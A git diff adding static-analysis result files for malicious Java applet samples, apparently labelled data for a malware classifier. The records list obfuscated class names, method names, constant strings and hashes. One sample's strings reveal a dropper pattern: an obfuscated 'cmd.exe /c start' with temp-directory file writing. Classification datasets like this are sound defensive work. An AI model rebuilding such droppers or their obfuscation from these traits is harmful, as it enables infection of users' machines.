<\\xc0\\x80\\x12V=\\x039fS;\\x01:\\x14[=\\x05\\x13Q<\\x08r\\x068\\x12Z\\x063\\x14R:\\x01:\\x12U?\\x062\\x12Z=\\x02=\\x10T9\\x01;\\x14S:\\x028\\x1cQ3\\x04K\\x14R:\\x01:fU3\\x069\\x10W<\\x08=\\x16U?\\x079\\x13W\\x07<\\x1dUI\\x07?\\x13P:\\xc0\\x80:\\x14R;\\x032\\x16Z?s>gUK\\x07;\\x13U<\\xc0\\x808bU3\\x07L\\x16%>\\x07<\\x1dUI\\x07?\\x17!:\\xc0\\x80:\\x14S<\\x07>\\x12V\\x07?\\x14R:\\x01:\\x15TK\\x01;\\x14S:\\xc0\\x80?eS;\\x01:\\x14R>\\xc0\\x80:gS:\\x06?\\x14S=\\x05:\\x1dS:\\xc0\\x80L\\x14S=\\x07:\\x15S:\\x01;\\x10Q:\\xc0\\x80:\\x14R9\\x04H\\x10 \\x12V=\\x03\\x17S=\\x01:\\x13Z:\\x06:\\x14T3\\x01=\\x14SK\\x04:\\x13S:p?\\x14T:\\x01=\\x1dS=\\x01:\\x13Z:\\x06:\\x14\"?\\x01=\\x14SK\\x04:\\x13S:\\x063\\x14T:\\x01=\\x1dS=\\x01:eV:\\x06:\\x14\"?\\x01=\\x14S=\\x08:\\x13S:\\x063\\x14T:\\x01K\\x11S=\\x01:eV:\\x06:\\x14T3\\x01=\\x14S=\\x08:\\x13S:p?\\x14T:\\x01K\\x11S=\\x01:\\x13Z:\\x06:\\x14T3\\x01=\\x14SK\\x04:\\x13S:p?\\x14T:\\x01=\\x1dS=\\x01:\\x13Z:\\x06:\\x14\"?\\x01:\\x16R:\\x01;bS:\\x03:\\x14S:\\x03:\\x14Q;\\x01:\\x16Q:\\x01:\\x17S:\\x013\\x14S=\\x02:\\x14T>\\x01:\\x14S:\\x01:\\x1dS:\\x06?\\x14S=\\x05:\\x14S:\\x01:\\x15\":\\x01=\\x1cS:\\x063\\x14S:\\x01:\\x14S>\\x01:\\x14R:\\x018\\x17S:\\x03>\\x14S:\\xc0\\x80:\\x14Q?\\x01:\\x14S:\\x019\\x1cS:\\x01;\\x14S:\\x03:\\x14S:\\x01:\\x14&8pH\\x13S:\\x01;\\x16\"H\\t:\\x14S8\\x04=eT:\\x01:\\x10WIs;\\x14S:\\xc0\\x80:\\x14S>\\x01:\\x14Z:\\x01:gS:\\x019\\x14S:\\xc0\\x80:\\x14Q=\\x01:\\x14S:\\x01;\\x14S:\\x018b%:\\x01:gS:\\x01;\\x14T:\\x01;bS:\\x01;\\x14T:\\x01:\\x17S:\\x01:\\x14R:\\x018eS:\\x03H\\x14S:\\x03:\\x14Q?\\x01:\\x14S:\\xc0\\x809\\x12S:\\x01?\\x14S:\\x03:\\x14S:\\x01;\\x15P:\\xc0\\x80H\\x1cS:\\x01>f[:\\x01:\\x11!8\\x01:\\x1c!:\\x059\\x16!<\\x01:\\x14T?\\x06H\\x1cS:\\x01?fQ:\\x012fS2\\x028fU:\\x01:\\x13V=sH\\x14S:\\x08?\\x1d!H\\x01:\\x14\"?\\x08H\\x13S:\\x01HfQ:\\x012fS<\\x028f[:\\x01:`!<\\x01:\\x14&H\\x03:\\x14[H\\x01=\\x17QH\\x07:\\x14SOs<\\x14S;\\x01H\\x13S:\\xc0\\x80;f[:\\x01;\\x16!H\\x01:\\x14Z?\\x08HfS:\\x01K\\x11ZH\\x06:\\x14SHs8\\x14S2s:\\x12P8s2\\x14S:uH\\x12S:\\x01OfQ:\\x012fR:\\x01=\\x17QH\\x07:\\x14SOs<\\x14S;\\x01H\\x13S:\\xc0\\x80;f[:\\x01;\\x16!H\\x01:\\x14Z?\\x08HfS:\\x01K\\x11ZH\\x06:\\x14SHs8\\x14S2s;\\x14S2\\x028f[:\\x01;\\x11!<\\x01:\\x14&H\\x03:\\x14[H\\xc0\\x80:\\x14U9\\x03H\\x12S:\\x01OfU:\\x01;\\x14!=\\x01:\\x15RH\\t:\\x14R8sH\\x14S:\\x08?\\x1d!H\\x01:\\x14\"?\\x08H\\x13S:\\x01HfQ:\\x012fR:\\x012\\x17QH\\t:\\x14R?s<\\x14S:tH\\x16S:\\tH\\x14V9\\x03H\\x12S:\\x01OfU:\\x01;\\x14!=\\x01:\\x15RH\\t:\\x14R8sH\\x14S:\\x08?\\x1d!H\\x01:\\x14\"?\\x08H\\x13S:\\x01HfQ:\\x012fR:\\x012\\x17QH\\t:\\x14R?s<\\x14S:tH\\x16S:\\tH\\x14P9\\x03H\\x12S:\\x01OfU:\\x01;\\x14!=\\x01:\\x15RH\\t:\\x14R8sH\\x14S:\\x08?\\x1d!H\\x01:\\x14\"?\\x08H\\x13S:\\x01HfQ:\\x012fR:\\x012\\x17QH\\t:\\x14R?s<\\x14S:tH\\x16S:\\tH\\x15S:\\x089\\x16!<\\x01:\\x14&H\\x07:\\x14R:s=\\x14S;\\xc0\\x80H\\x1cS:\\xc0\\x808eT:\\x01:\\x10WI\\x01;fS:\\x01:\\x15S:\\x01>\\x14R:u:\\x15R:\\x01:\\x15\":\\x01:\\x15S:\\x03=\\x14S:\\x01:\\x14S3\\x01:\\x14QL\\x06:\\x15R:\\x01=\\x14S;p:\\x14S:\\x03N\\x14S:\\x01:\\x14S>\\x01:\\x14R:\\x018aS:\\x013\\x14S8w:\\x14P:\\x01:\\x14R:\\x018\\x11S:\\x01:\\x14S3\\x02:\\x14S9\\x01:\\x14W:\\x01:\\x14S:\\x05NfQ:\\x01=\\x13PO\\x03KfU:\\x01;fRN\\x08K\\x14S:t3\\x1dS:\\x05:\\x16\";u3eS:\\x01KfU:\\x01;gZ3\\x01:\\x17V8pH\\x12S:\\xc0\\x80N\\x10 :\\x029`RI\\x03Hf&K\\x03:\\x14Q2\\x03H\\x15 9\\x03H\\x12S:\\xc0\\x80I\\x15\\'3p:\\x14R<\\x083\\x14S:u8fRI\\x028f[:\\x01;\\x16RN\\x083\\x14S:p8fRI\\x028fU:\\x01;aV=\\t>\\x14Q:\\xc0\\x80;`Z3wL`[H\\xc0\\x80:\\x14S:\\x01:\\x14R:\\x018\\x13S:\\x01:\\x14S9\\x05:\\x14S=wL\\x14S;\\x06:\\x14S>\\x01=\\x14S:\\x08:\\x14S:\\x01;\\x14S:\\xc0\\x80:\\x15W9\\x01=\\x14S:\\x08LbS:\\x01?\\x14S:\\x05:\\x13S:\\x013\\x14T:\\x019\\x16S;\\x01;\\x14S:\\x01;gW?\\x01;\\x14SLw:\\x14S<\\x01:\\x14W:\\x06:\\x14S3\\x01:\\x14S:\\xc0\\x80:\\x14S:\\x01:\\x14[:\\x01=eS:\\x03>\\x14S:\\xc0\\x80:\\x14Q?\\x01:\\x14S:\\x03K\\x15S:\\x01I\\x14S:\\xc0\\x80:\\x14S:\\x01;\\x14V;\\x01:e!N\\x01:\\x13!?\\x08:\\x17R8\\xc0\\x802\\x15SLwK\\x13S:\\x078\\x11P?\\x08:\\x10R8\\x01<\\x14PK\\x06:\\x14V3\\x049\\x11Z:\\x04;\\x16R=\\x01>eT:\\x01?\\x14V9\\x043\\x14U;\\x03:gS?p=\\x14S>\\x06?\\x17V3\\x01=\\x15Q:w:\\x12\"=\\x01:\\x17&?\\x02?\\x1dS2\\xc0\\x808\\x14[:\\x06K\\x13S:\\x02?\\x11P?\\x08;\\x14S<\\xc0\\x808\\x15U:\\tK\\x13S:\\x03H\\x11P?\\x08;\\x14S=\\xc0\\x808\\x15P;\\x01:\\x12\"=\\x01:\\x16S?\\x02?\\x1dR:\\x012\\x15Q;\\x05;\\x14S=p=\\x14S;\\x04?\\x17V3\\xc0\\x80:\\x14Z;\\x03;\\x1dR:\\x012eT:\\x01:eV9s9\\x14S2sK\\x13S:\\x08K\\x11%H\\x07:\\x14[;\\x043f&?w:\\x17PHp=\\x14S>\\x07?\\x1dRK\\x04I\\x17W;p:\\x1cT:pK\\x14S:\\x01:\\x14S:\\x01:\\x14S9\\x05:\\x14S:\\x01:\\x14S:\\x01:\\x14S:\\x019\\x14S:\\x01:\\x14Q:\\x01:\\x14S:\\x018\\x11S:\\x01:\\x14S8p:\\x14S:\\x01:\\x16%;\\x01:e\"=\\x01:\\x15W;\\x01<\\x10\"=\\x01:\\x14%;\\x01=`\"=\\x01:\\x14\";\\x01>\\x1c\"=\\x01:\\x14V;\\x01>g[8\\x088\\x11V2\\x05:\\x14S;\\x04L\\x11\";pK\\x17%LsKf!:\\x01=fVK\\x04LfT:\\x012\\x11!<\\x01:\\x1cZ?w?\\x13VLpK\\x14S:\\x01:\\x14%LwLb%9t:\\x14S:\\x01:\\x14S:\\x01:\\x14S:\\x012b%LwLbW=wLb%Lw?\\x14%LwLb%?\\x08Lb%LwL\\x12QLwLb%L\\x07Hb%LwLbT?wLb%Lw2\\x14%LwLb%2sLb%LwL\\x1dUH\\xc0\\x80:\\x14S:\\x01:\\x14R:\\x018\\x13S:\\x01:\\x14R2p:\\x14R>wL\\x14S:t:\\x14S;\\x01;\\x14S:\\x05:\\x13S:\\tI\\x14T:\\x012`S;\\x01=\\x14S=sLbS:\\x012\\x14S:\\xc0\\x80:\\x15S:\\x01>\\x14T:\\x012aS=\\x01:\\x1c%:\\xc0\\x80:\\x13S:\\x06Hb%:\\x01:\\x1cS:\\x01;\\x14R:\\x01:\\x10S=\\x01:\\x1dS:\\x06:\\x14Z;\\x01;\\x14T:\\x01=f%L\\x01:\\x14[:\\x01:\\x15S;\\x01:\\x14W:\\x06:\\x14Z8\\x01=\\x14S3\\x02:\\x15S=\\x01:\\x13!Lw:\\x14S2\\x01:\\x14R:\\xc0\\x80:\\x14S>\\x01=\\x14S3\\x05:\\x13S:\\x08?\\x14R:\\x06:\\x14THwL\\x14S:\\t:\\x14S;\\x01;\\x14S:\\x05:\\x13S:\\x08<\\x14T:\\x013\\x13S;\\x01=\\x14S=sLbS:\\x013\\x14S:\\xc0\\x80:\\x15S:\\x01>\\x14T:\\x013\\x1cS=\\x01:\\x1dZ:\\xc0\\x80:\\x13S:\\x06Hb%:\\x01:eS:\\x01;\\x14R:\\x01:\\x10S=\\x01:\\x1d\":\\x06:\\x14ZH\\x01;\\x14T:\\x01=f%L\\x01:\\x14\":\\x01:\\x15S;\\x01:\\x14W:\\x06:\\x14ZI\\x01=\\x14S3u:\\x15S=\\x01:\\x13!Lw:\\x14SK\\x01:\\x14R:\\xc0\\x80:\\x14S>\\x01=\\x14S3t:\\x13S:\\x08L\\x14R:\\x06:\\x14THwL\\x14S:\\x07:\\x14S:\\x01:\\x14V:\\x06:\\x14\":\\x01=\\x14SK\\xc0\\x80:\\x15S=\\x01:\\x13!:\\xc0\\x80LbS:\\x01H\\x14S:\\xc0\\x80:\\x15S:\\x01<\\x14T:\\x01K\\x16S=\\x01:eP:\\xc0\\x80:\\x15S;\\x01=\\x14SK\\x05LbS:\\x03<\\x14S:\\xc0\\x80:\\x15S:\\x013\\x14T:\\x01K\\x12S=\\x01:eT:\\xc0\\x80:\\x15S;\\x01=\\x14SK\\t:\\x13S:p3\\x14R:\\xc0\\x80LbS:\\x01>\\x14S:\\xc0\\x80:\\x15S:\\x013\\x14T:\\x01KeS=\\x01:e!:\\xc0\\x80:\\x15S;\\x01=\\x14SKr:\\x13S:pN\\x14R:\\xc0\\x80LbS:\\x01>\\x14S:\\xc0\\x80:\\x15S:\\x013\\x14T:\\x01KaS=\\x01:e%:\\xc0\\x80:\\x15S;\\x01=\\x14SH\\x01:\\x13S:s;\\x14R:\\xc0\\x80LbS:\\x01>\\x14S:\\xc0\\x80:\\x15S:\\x013\\x14T:\\x01H\\x16S=\\x01:fP:\\xc0\\x80:\\x15S;\\x01=\\x14SH\\x05:\\x13S:s?\\x14R:\\xc0\\x80LbS:\\x01>\\x14S:\\xc0\\x80:\\x15S:\\x013\\x14T:\\x01H\\x12S=\\x01:fT:\\xc0\\x80:\\x15S;\\x01=\\x14SH\\t:\\x13S:s3\\x14R:\\xc0\\x80LbS:\\x01;\\x14S:\\xc0\\x80:\\x15S:\\x01K\\x14T:\\x01HeS=\\x01:f!:\\xc0\\x80:\\x15S;\\x01=\\x14SHr:\\x13S:sN\\x14R:\\xc0\\x80:\\x15%L\\x01:\\x14V:\\x01:\\x15S;\\x01:\\x14U:\\x06:\\x14!O\\x01=\\x14SHw:\\x15S;\\x01;\\x14T:\\x01I\\x14%H\\x01:\\x10T:\\x01:\\x15S:\\x029\\x14S:\\x01:\\x14S8\\x01:\\x17W]hS", "f=\\x12UI~gU=~N`)I~>\\x14ZNi2j"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8a2ffca629adf7ffd2977631de2c4c890822a6a1", "file_name": "java_malicious/dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca", "_id": "cb718323-96c6-44df-bd28-c695fd7c4c44", "score": 0, "entropy": 6.0210411328821225, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 10705, "ssdeep": "192:K/KlohQAMtr70v9aWw4tz5+/FJa5nrI5rJ6ngOFzBahraXq0oWSPBUat5NXuF:K/KOhQx70vXLiJa5nrIcgoMhXmat5c", "sha256": "dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca", "md5": "e332c6dbb1102233322547ae52ea9462", "parent_sha256": "dc9e0cc7ae7d7434fdca538d99b7614e5288e3c62cc0f8780b4e40f11433a4ca"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results b/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results new file mode 100755 index 0000000..5b5c83f --- /dev/null +++ b/java_classification/data/malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OYdjb.java", "class_name": "aHrMCrboe/OYdjb", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "ICMpK", "WTGFZuX", "bpmQo", "FaDrbjyc"], "minor_version": 0, "const_pool_count": 197}}, "_id": "dd001ce7-5b88-40d3-83e1-b0395e3b48cb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "54db9c5bf8c538cefdab70ea8b3b7fbeecc32bf2", "file_name": "java_malicious/dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d", "_id": "dd001ce7-5b88-40d3-83e1-b0395e3b48cb", "score": 0, "entropy": 5.531548723261405, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3434, "ssdeep": "48:z4b35h6y5l2yFlSW6M5bUW+urUMQ0fY8/0rqgeUcr4mkGw+k+4Hc/02geUMb0RGo:kzrtBFlSzMVUW+cUMY0UcCH0UP1", "sha256": "dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d", "md5": "6156cb27fa620a2fb7c577aead342d72", "parent_sha256": "dd355b995f4f5d70414314b08d0703e604f59e5d5306a15c8e33fa3fd158b19d"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results b/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results new file mode 100755 index 0000000..e9dd194 --- /dev/null +++ b/java_classification/data/malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tab", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "psi", "map", "mun", "one"], "minor_version": 0, "const_pool_count": 178}}, "_id": "aa9688f7-69f3-470c-913e-b4cc47ea604d", "verbose": {"java": {"constant strings": ["", ".eb3v4c2xb3v4c2e", "b3v4c2", "java.b3v4c2o.Fb3v4c2leOutputStream", "i", "b3v4c2xb3v4c2c", "e", "b3v4c2md.exe /b3v4c2 start ", "c", "flush", "close", ";1", "jab3v4c2va.ib3v4c2o.tmpdb3v4c2ir", "wrb3v4c2te"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "781caaf59a189459fe92774a3b83a52896ff7509", "file_name": "java_malicious/dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742", "_id": "aa9688f7-69f3-470c-913e-b4cc47ea604d", "score": 0, "entropy": 5.806007368495412, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3218, "ssdeep": "48:cXNeNdRblyuNTUZy7I1+BYZgk4HH2ve3861nLSs/exG9+YhhhhhkhhhhhEGhhhha:2eryuNTdI02Zh4PM0X/7wrM", "sha256": "dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742", "md5": "6e67c63cf0f3ad1601d859822861c900", "parent_sha256": "dd6c6e10cc16c7495f027082b9646fc79147d3e90531b1aa4c09ec7a869ba742"}} \ No newline at end of file diff --git a/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results b/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results new file mode 100755 index 0000000..8d79f18 --- /dev/null +++ b/java_classification/data/malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "tljpjunbjwtqlywm/nnekhkyfpglqyy", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "stunjhmqpdpmkava"], "minor_version": 0, "const_pool_count": 168}}, "_id": "01534729-645f-4532-809f-a512620e5c08", "verbose": {"java": {"constant strings": ["78af8ce023c51a76f8214cd98779a040e514da46bb435f9dd5ffa25dddb5da70e169e8c2b5de29c7fef7513eb6bd8d215aea28fa9dccf0fd55e5abb31adfa5baaedda40ddca38b039f92d4eb2067a5d157718980f9e9afd272a3c7bddae00f521b65f0230a6d231a90736de086f73a5d80584e7bef7c9b5cf64fc7120f7325a30e0f718548cd2a0ffa6b1d32f26fc640ceb0c729ae8de22891053f1f0fd9f767fe469ad8588bbeb4341c418280dee3e10f34cdc6ecf7f9e163ba81e705f3f1b32cabf4d51b5f376f73c8ac8a126d7091d5b5568c8aa5427cfa4238f09cdfa7aded2e2cbe16893e25931c00924deb2aa0ce7b9ea07ce04ea31435fee42ebc44ecea473a6ec43a2d20fa5e42ce184a3bbbb433c1187d8814a9bc16e79671e4a7705c979877c121f77d1728b046414a3e6f804d4333f051fd56cdcb4111425ab76c5ffdcaffa9375dfd64f39e152e77df2b84be17c4bcd415b7399400264bcaf8d7d78b1427861f9668158ab74791b6d0cd7e314b28e4b7cc9e6bbacdc3f76c01e13613c55cb05167a5e8fa1e1068b3b8959ff42cff29f4ee654b1a36b0f952c03a97035477cfca22cb8bdbd253bb08ad839c3d59ff9a19ce1564ecacd7a9cf689f3a334c1125e9d25f2b5d303ec4f5a8754a3c54d4d8ef08f82a2059d0af36c8ab7c0b44587d7fef58dc8c1b12a5334cfd4320fe45a97b0634807caa49ca3d613f0607dd68dec533834d4384afba26ddab238ea97eee2554ee2337aca926bc4e2aaccf1024981a8263e0e508e4a3914a4fe00b620b6eadea8fd556118b4de5240e92f757dcae164149a299101af5605d7185b9430ab0d7af6bb884b6ab931f7b2d2334739e219faff265dcec73ff6820c529c7ea36c1c8ed43f3b43079f9b9e94882378a23258a763b0d8732bbc0142334e9f6aec3ab916bb347bd56f267931b83611679a93279d2c873e77eba5bdacd12ffd77bfe3cfc453428d0f94946d94c16a21107e87eb8c46a07dcaea212a3ebc4975462526e9b159b63ebf2630d8ebf33d0eea78acfcfa09ac8414369442a69845aa1b47ef878de113b542e86f65a2c98c36e3df942faa08d44bd9f98e3148759713369c2ba3de42b4845ad2d5854b8bb76bdeeb2adc0de3c00b14fb5507ea2d71c11cff7559467cb903e80bed81b36b445c218bf30498057bb0a8ccd23151c0e2e0156f0e28501f5cf494630830db03fece3e99a5ffc280edfa4b51f0c56c08e104148ca637e033e13dd1aef744d834ba91348e3c8cdac27cee30bddaf9a7990996ed7091df131ae10d076a8ccc5e438c64e088fbb1efa07deffe505f968c134b68f0ddf541ef3dd5db5aa7fcc09657161c02b0dd02f37a44fefb4b4119d21e753f943bb1196b23e1e59c89cf735a1b2b4fe58d64c4bd300eeaf64025a0bcb635526cbe1df7c93c1996cbf890a958e1e1b256f27214d489bca064294a0770ae04274cc651708a33433f4787747e31a3c369ffda8343daec39c3102dabb78085b27cde05b20e391842b0935b67a106b7dc4246d30552481ca45e54406fc43605e4b8b41b8dff3808165b83f9a7cd1bd0da39efa822ff681ceb111e783ed3dcf523b19714f41eeb1a1a8fdbe415c40220451b4c2bae5d8544c5b677cc75b92cf21ad795a8b1006a8d1dfd8a83624fa8c6198110c56ab9c19c4ce2ed85312df890112b1f5f949c17a60ebb8795d19799e9d7ef2f5138641614a66d8fc9860ef13d5", "vjflilnydmfppgq", "60af9de160c31d63a234149dd628ef06fb688808e84915e88fa7ec1687e0df5dbf33bd8ef1", "gjgif", "62a998ec63c81560ae3e1193d42deb05f463830aea4f10e58cace4158bea", "elbd", "publicLookup", "69a192b33fce1c2ba96816c4de28e00fa245851bf5460b9eb6b0ee34aefa8e618023a685e19c4a9fb5b81266f7", "gjstdsdooytstd", "6eb782f169d51c69bc3a3084c73ff50c", "irxyoqkmwhy", "69a994d41ac8126091740598d132", "jhoppeednmmwsnx", "6ba78ae33c840b60ae7f0d97c629fc1bfd6db614ea4035c796baf704", "lbpk", "66a483e433821e7eab731b84cb2af51cf26ba30aef4c23d49bb9fe03acf4956bb93aa281", "aaylcdeuinfx", "", "6db88da83dcb1e34b3701bc0d33be416bd5e871ef7591186bbb4e327aae3917a8226a49afb84", "cslofvfpuaywyw", "66a592d506c91d758976039cca24fc1cb2528119", "ldjq", "77b38aae3fce013cad7806c4d334ec0cb5429810fa400094bc94ec1581cf8b70a83dba9bfb8e639fbe", "yxkids", "7bbe89ff05d5077faf", "pskrnqpf", "6aad8cf86bcc0174a63a2f85cb35e738bd4b960ff8", "mhvp", "6da58ba22ad00230a8760d9ad836ea4fb849810ffd4a09ca8baea51188eb8a7db031b1d8db8c7b88a0a216", "stiemj", "74b09bac20dc1b25b8780796c123fa41b245981aed4403c692bbb51f82e79368a03fbbd4c6936b97bdb70f6debd7dc211fa140a5d29aa3be", "jaykgf", "74a39bfa6dc61577ad33019cd323fa07f07d8a0ced5014fc83b5e5", "sfarkbb", "6cac9be267d50f61a5361c95c02bfb0af86e8b0ffe5b17ef8dafe40084", "kiajaqxendobqjr", "62bd9ced7ec2127cad372193c325f7", "exf", "72ac94e70acd1667ac7f12", "yavjtlryubdpjeh", "67bf8bf22ece3472ac79389ed12fe202a44783", "cuqtm", "68a58ee923da2a77aa71", "hdv", "6fa28ff80fc21c76b57b0b9fd72efd", "domude", "78bb83fb2dcf236ba77c18b7de22ec12bc", "vmjsqb", "4291", "twebnpxjyp", "6eb19de329ca2571ae600e", "gpwco"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "836d8f89fd0852e1ed4e28764009828636965d9b", "file_name": "java_malicious/ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415", "_id": "01534729-645f-4532-809f-a512620e5c08", "score": 0, "entropy": 5.5315930300715, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6049, "ssdeep": "96:Gw4toG/6IPnUm6iznnfkw52H4hV11Ke+VutIp+aXaDA/xj3I:GyW6I9nfLkbe+V/p+1U/xY", "sha256": "ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415", "md5": "8176452bcd18a35db8d85e6c8018cfe3", "parent_sha256": "ddbe002f951bd01e80cd477d43554cddb0b963df54e9e7557fa03bd5864a8415"}} \ No newline at end of file diff --git a/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results b/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results new file mode 100755 index 0000000..465fdc0 --- /dev/null +++ b/java_classification/data/malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/kbfvkcmucgzoua", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "bljcgpuiwqbkcjfhez", "chbdotngsqxxwnz", "iekrrzcpcjjyunmaqox", "lzexjyfmnqdxejbid", "gmwdrya", "bhprdtykuwzhj", "prvnuojubjmslhzorag", "jkrtmgzaywrzcezwrz", "ppewoonigrexzcvz", "qgerzqfjcxlhrdlj", "mweltcfziuxzeivos", "fvkygqkyoydjcycgsdf", "ojvrjowvugtlcnba", "cflfiqztxsrdt", "fomuqixlnnnyhvw", "ofrbqanjiptfqvzvp", "zxutjnprrccphcrmrd"], "minor_version": 0, "const_pool_count": 671}}, "_id": "49d59a26-e36c-407a-a8cb-9311cbaf4b52", "verbose": {"java": {"constant strings": ["fjtorxagvkaidfsmescgdv", "aypjzhvhkzj", "msbyezgkghaxvlwetgyinlj", "cnnnryvn", "wveerilmrtz", "lzvpoikibpvmlyhviavukhsvac", "", "zloyafxxj", "qycwbdqdwegeypxvcw", "bvasqggmoyfobawtckpnhzdjmt", "kurfmqlovzqbqfycoki", "flnibtepcxcyqjqbstq", "s", "awfcaltx", "cd", "iomsflzhptuhs", "mixodgh", "zgvxeuioahlnbpwsed", "tdpeexdbd", "cnklvqgugb", "zgclhfgoimp", "vjrrpyopxxpqdrlfb", "pnmgagzddcuuraxsoxdxmtscs", "bmavbwrse", "mrazkxjcfxcen", "kdvdqcqy", "stbunecxnthznjuipw", "yybggk", "iktazlpddvpgilmrxjryywnqa", "hcaypfgwjeysaxsxtklxag", "iv", "xtjudicxrgmngvndlymvawxophip", "at", "zdgjjmycjk", "r", "sreycibyyizyy", "txfddrixikdaesewlflyteo", "cmasmeoedpkiknnurg", "djrvnih", "fwfudwbvyuyygusalztuyzgrics", "vmeiwv", "yhixacitrofjocinzrtxjrgk", "wvpuqyshrqnplfyen", "exkffzwxpvmnacdiwajji", "agpxnkmkrzdfqzdmhtpu", "asb", "qloxnbplza", "wyxpex", "ekylpmtckxetgglnmlysni", "iriytwxqe", "jgvmurrcbeuhjlnsdfuncnwmp", "qrmygfyphckoiefothhdqkitonqv", "sftpdncwwoytymokkiclpn", "sztyi", "rbxvolpbdtgiuudrylptkni", "xnjccll", "wvenksdvylnokdcmt", "bfkk", "sgecogfmm", "vgffqwufruvrxqrxfg", "jnspswyimcacvepxwlbzkxet", "enmiwktagljwfrszbzowwhqmt", "kgdxsj", "bzigvxdaiceggcyfipig", "wlaqphx", "gedvvuijbdtkmeryrxggt", "dgppjnldcenhbqi", "euortjsbgl"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "6ece320370b6aa89a7221f458f611b086d03e746", "file_name": "java_malicious/de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6", "_id": "49d59a26-e36c-407a-a8cb-9311cbaf4b52", "score": 0, "entropy": 5.905052072738944, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 10910, "ssdeep": "192:4K3mTgF0xh/och/hi7XUJBrxpT0oR+0jZSXzSCcrYC2mclGXT6JXLx:F4phn/yXUJBP0P0jXVctQXa", "sha256": "de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6", "md5": "19e9e82c66071b6cd6cdde44bcb5bbb9", "parent_sha256": "de0a4533b691459cbd6bd971bfe197bcb6567a16ae6675392662c9f80693a8c6"}} \ No newline at end of file diff --git a/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results b/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results new file mode 100755 index 0000000..23574d7 --- /dev/null +++ b/java_classification/data/malicious/dead2f88aefe9f9892ff1bd4492025cf69ca1dd21194997a047aa8def4485637.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/daiwrrfxibhohsletc", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "hgsqpjoqtiwzqmiu", "zhclldohmmhqbfvysib", "icwcvzgdrcaktbfyuvt", "lyoqaphwzqtuooe", "xqqqbuoltiwvrxac", "wbvwriufcsueuqkbard", "ybruiqemzafigyt", "gjgrdfoijxiyixghpz", "cushjiwcmqosxophkfe", "cvsyeqvyqrssxolgv", "pvhqpgqusowyuvrqk", "cpqxwehzuqwtwtaz", "zlbvvojskisclvgddz"], "minor_version": 0, "const_pool_count": 240}}, "_id": "ef0e144a-7a25-4533-9f52-d2215c3bf9a5", "verbose": {"java": {"constant strings": ["nxeumjeezyfhmcfykcp", "ktxinfhuwjszn", "hprwkwlyqhjbz", "sqedxsqswxqw", "qafluofauvcrcseaajz", "sxscskforybksbjd", "zgxhiyijbjrwdbgevbla", "wonoaijmdjuusjchjj", "wmwnimjsktcsbef", "gykbomkejxmkwpawzjpap", "fkyqyidylrdsvswnqzl", "asnycmbnsceozzuxq", "codcwiiyqzcfk", "gcwmdxywwlnj", "nvztsllzkyeznpm", "xzbvebmgucphmyhstfxv", "fliwqpjtrtcp", "nuwjbtghgqtliczwxv", "zvnnbojfxhyzkyhlfzs", "shfjuggzvwvbwfy", "sjtpzflapeeqw", "qvwooaorfhuyssnbdriz", "kdpygzcsiwhguucds", "jnrlbdhnyhgrreau", "tqmmafjhkaorwn", "pswyoudqhagnywhgruvrg", 